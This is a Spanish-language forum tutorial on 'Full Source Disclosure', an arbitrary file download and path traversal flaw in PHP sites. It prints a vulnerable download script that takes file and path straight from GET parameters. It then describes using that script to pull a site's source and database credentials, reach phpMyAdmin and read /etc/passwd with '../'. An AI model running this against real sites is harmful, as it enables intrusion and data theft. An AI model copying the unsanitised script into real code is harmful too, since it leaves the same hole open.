Full Source Disclosure es una vulnerabilidad que permite descargar cualquier tipo de archivo del servidor/web, permitiendo asi ver el código fuente de la misma web incluyendo la DB. Muchas veces se presenta, Como ejemplo:
[Enlace externo eliminado para invitados]
0×02: Explotacion de la vulnerabilidad
Primero procedemos a descargar el archivo vulnerable, para ver su funcionamiento, en primera instancia esto es importante para poder determinar los demas archivos hasta llegar a nuestro objetivo clave, la base de datos.
Código: Seleccionar todo
<?
require (“../Include/PathWeb.php”);
$Archivo = $_GET["Archivo"];
$PathCompleto = $DirWeb.”/”.$_GET["Path"].”/”.$Archivo;
$file_extension = strtolower(substr(strrchr($Archivo,”.”),1));
switch ($file_extension) {
case “pdf”: $ctype=”application/pdf”; break;
case “exe”: $ctype=”application/octet-stream”; break;
case “zip”: $ctype=”application/zip”; break;
case “doc”: $ctype=”application/msword”; break;
case “xls”: $ctype=”application/vnd.ms-excel”; break;
case “ppt”: $ctype=”application/vnd.ms-powerpoint”; break;
case “gif”: $ctype=”image/gif”; break;
case “png”: $ctype=”image/png”; break;
case “jpe”: case “jpeg”:
case “jpg”: $ctype=”image/jpg”; break;
default: $ctype=”application/force-download”;
}
if (!file_exists($PathCompleto)) die(“NO EXISTE EL ARCHIVO: $PathCompleto”);
header(“Pragma: public”);
header(“Expires: 0″);
header(“Cache-Control: must-revalidate, post-check=0, pre-check=0″);
header(“Cache-Control: private”,false);
header(“Content-Type: $ctype”);
header(“Content-Disposition: attachment; filename=\”".basename($Archivo).”\”;”);
header(“Content-Transfer-Encoding: binary”);
header(“Content-Length: “.@filesize($PathCompleto));
set_time_limit(0);
@readfile(“$PathCompleto”) or die(“Archivo no encontrado.”);
?>
Si tenemos suerte encontraremos el phpmyadmin y lo demas a imaginacion.
Tambien como dije al principio, pasaria a ser vulnerable el servidor, por lo que si intentamos descargar un archivo de el conociendo su ruta obviamente podremos verlo, como ejemplo tomo el famoso /etc/passwd:
[Enlace externo eliminado para invitados] (el famoso ataque '../'):
